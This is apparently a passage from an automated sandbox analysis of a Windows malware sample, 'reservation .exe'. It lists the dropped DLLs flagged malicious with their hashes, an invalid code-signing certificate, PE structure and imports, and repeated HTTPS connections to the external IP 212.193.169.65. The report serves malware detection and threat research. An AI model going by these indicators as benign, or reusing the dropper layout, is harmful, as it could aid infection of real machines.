SSDEEP:	12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
MD5:	96D413CAAF8C7793A96EF200F6695922
SHA1:	ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
SHA-256:	5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
SHA-512:	93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\libssl-1_1.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541880
Entropy (8bit):	5.766958615909
Encrypted:	false
SSDEEP:	12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
MD5:	753B75570811052953F336261E3031BB
SHA1:	2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
SHA-256:	603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
SHA-512:	6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\msvcr120.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\opus.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	370488
Entropy (8bit):	6.86993159214619
Encrypted:	false
SSDEEP:	6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
MD5:	82E49683F540F78B2D1759CDE594482F
SHA1:	352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
SHA-256:	55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
SHA-512:	F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\quartz.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1074302464
Entropy (8bit):	0.007609102467218604
Encrypted:	false
SSDEEP:
MD5:	1E2570A7DD0C8452B18340E4386C1FA3
SHA1:	FE1D6D0D86171E8F9AE64A909C4ADCCA13267B20
SHA-256:	DACBF6D62555C6A75AEEBF978388AB320D3F2B283240C936B82ABD9318ADD699
SHA-512:	02951D9CD5E88D91A10524D811D5673A2A98DB5EB21E97A1273900625A932DD933B82B60B09C5FE28381890471A7B40388CA3ACD84D5FE42BF9A4B4693727F72
Malicious:	true
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L...d.&d...........!...I.p...............................................................@.....................................................................V....................................................................................code....o.......p.................. ..`.data...8............t..............@....rdata..............................@..@.edata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.95694747974766
TrID:	Win32 Executable (generic) a (10002005/4) 98.45% Inno Setup installer (109748/4) 1.08% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	reservation .exe
File size:	7'988'632 bytes
MD5:	ded33758f9470a6ee7ccaba58301f651
SHA1:	b4b43213b8ba2e83de9344ecb038811c1636d864
SHA256:	165002986f77081f5cf1a411a8efa39219b359fa2245b563140c9d09e8ed6765
SHA512:	a37ca941e4600b6cf5475a632580603bdb77a9c8d7ba36fa742dd49cd1d6e11134144910ea4f507de7411d3b2b00105c0935a617259dd2fec729ad991f746df3
SSDEEP:	196608:fK2TldGPLBnNx2Dnm7sJQi1xEssjtPdWwx9PDXirAOL:y2ch32DDxEs+PowTb7U
TLSH:	CD86223FB268753EC9AE4B314973836099BB7761B81A8C1E07F4084DCF665B01E3B656
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0b1212121362621b

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	10/10/2022 15:18:04 11/10/2023 15:18:04
Subject Chain	E=support@rostpay.ru, CN=ROSTPAY LLC, O=ROSTPAY LLC, STREET="Dolomanovsky lane, 70D apt.1 (10th floor)", L=Rostov-on-Don, S=Rostov Oblast, C=RU, OID.1.3.6.1.4.1.311.60.2.1.2=Rostov oblast, OID.1.3.6.1.4.1.311.60.2.1.3=RU, SERIALNUMBER=1086168004669, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	DA8497E3277C9E572DB41EC027529554
Thumbprint SHA-1:	06DA93A00B5C193261A4FAE08023F5413C67844E
Thumbprint SHA-256:	0A83E225C67ED631DB487C6E0CA17F97063DBF82367217C13BF443FCB0361633
Serial:	11F9BA50B5DD4CACE858ECEC

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007F99D1496F95h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007F99D1539A87h
call 00007F99D15395DAh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F99D14ACA34h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007F99D1491B87h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007F99D14ADBB7h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F99D1539B0Fh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F99D153FD2Ah
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007F99D14AE4ACh
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0xcf84	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x79bbd0	0x29c8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	43af0a9476ca224d8e8461f1e22c94da	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	185e04b9a1f554e31f7f848515dc890c	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	cab2107c933b696aa5cf0cc6c3fd3980	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	e7d1635e2624b124cfdce6c360ac21cd	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	8ced971d8a7705c98b173e255d8c9aa7	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	8d4e1e508031afe235bf121c80fd7d5f	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	8f2f090acd9622c88a6a852e72f94e96	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0xcf84	0xd000	79b14998a5ff92ba07776386085e959a	False	0.5243952824519231	data	6.317919630549471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc74f8	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 0	English	United States	0.3136586695747001
RT_ICON	0xc91a0	0x434c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.961864406779661
RT_ICON	0xcd4ec	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.25881742738589214
RT_ICON	0xcfa94	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.3428705440900563
RT_ICON	0xd0b3c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.5398936170212766
RT_STRING	0xd0fa4	0x360	data			0.34375
RT_STRING	0xd1304	0x260	data			0.3256578947368421
RT_STRING	0xd1564	0x45c	data			0.4068100358422939
RT_STRING	0xd19c0	0x40c	data			0.3754826254826255
RT_STRING	0xd1dcc	0x2d4	data			0.39226519337016574
RT_STRING	0xd20a0	0xb8	data			0.6467391304347826
RT_STRING	0xd2158	0x9c	data			0.6410256410256411
RT_STRING	0xd21f4	0x374	data			0.4230769230769231
RT_STRING	0xd2568	0x398	data			0.3358695652173913
RT_STRING	0xd2900	0x368	data			0.3795871559633027
RT_STRING	0xd2c68	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd2f0c	0x10	data			1.5
RT_RCDATA	0xd2f1c	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd31e0	0x2c	data			1.2045454545454546
RT_GROUP_ICON	0xd320c	0x4c	data	English	United States	0.8289473684210527
RT_VERSION	0xd3258	0x584	data	English	United States	0.24079320113314448
RT_MANIFEST	0xd37dc	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 19:15:13.046997070 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.047033072 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.047086954 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.062104940 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.062122107 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.859060049 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.859237909 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.861090899 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.861094952 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.861361027 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.903965950 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.950761080 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.950982094 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.951018095 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.951085091 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.951091051 CET	443	49979	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:13.951137066 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.951137066 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:13.951159000 CET	49979	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.039877892 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.039901018 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.040213108 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.041378021 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.041393995 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.893179893 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.893279076 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.895759106 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.895766020 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.896235943 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.896863937 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.898350000 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.898411989 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.898530006 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.898557901 CET	443	49982	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.898610115 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.899285078 CET	49982	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.953567028 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.953607082 CET	443	49985	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:14.953826904 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.957472086 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:14.957484961 CET	443	49985	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:15.698044062 CET	443	49985	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:15.698153973 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.699563980 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.699570894 CET	443	49985	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:15.700472116 CET	443	49985	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:15.701195955 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.701754093 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.701809883 CET	443	49985	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:15.701880932 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.702080965 CET	443	49985	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:15.702136993 CET	49985	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.761287928 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.761326075 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:15.761435986 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.761989117 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:15.762003899 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.596705914 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.596826077 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.598660946 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.598675013 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.598969936 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.599814892 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.600634098 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.600670099 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.600752115 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.600766897 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.600799084 CET	443	49988	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.600893974 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.600893974 CET	49988	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.619549990 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.619592905 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:16.619752884 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.620034933 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:16.620055914 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.354590893 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.354676962 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.360331059 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.360347033 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.360615015 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.361396074 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.362396002 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.362422943 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.362540007 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.362560987 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.362571001 CET	443	49991	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.362586975 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.362617016 CET	49991	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.423849106 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.423882008 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:17.423990011 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.424407959 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:17.424426079 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.223351002 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.223416090 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.224981070 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.224994898 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.225392103 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.226123095 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.226706028 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.226737976 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.226835966 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.226874113 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.226918936 CET	443	49994	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.226946115 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.226982117 CET	49994	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.237385988 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.237432003 CET	443	49997	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:18.237497091 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.238044977 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:18.238059998 CET	443	49997	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.031642914 CET	443	49997	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.031832933 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.032943010 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.032955885 CET	443	49997	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.033277035 CET	443	49997	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.033862114 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.034718037 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.034745932 CET	443	49997	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.034892082 CET	443	49997	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.034931898 CET	443	49997	212.193.169.65	192.168.2.5
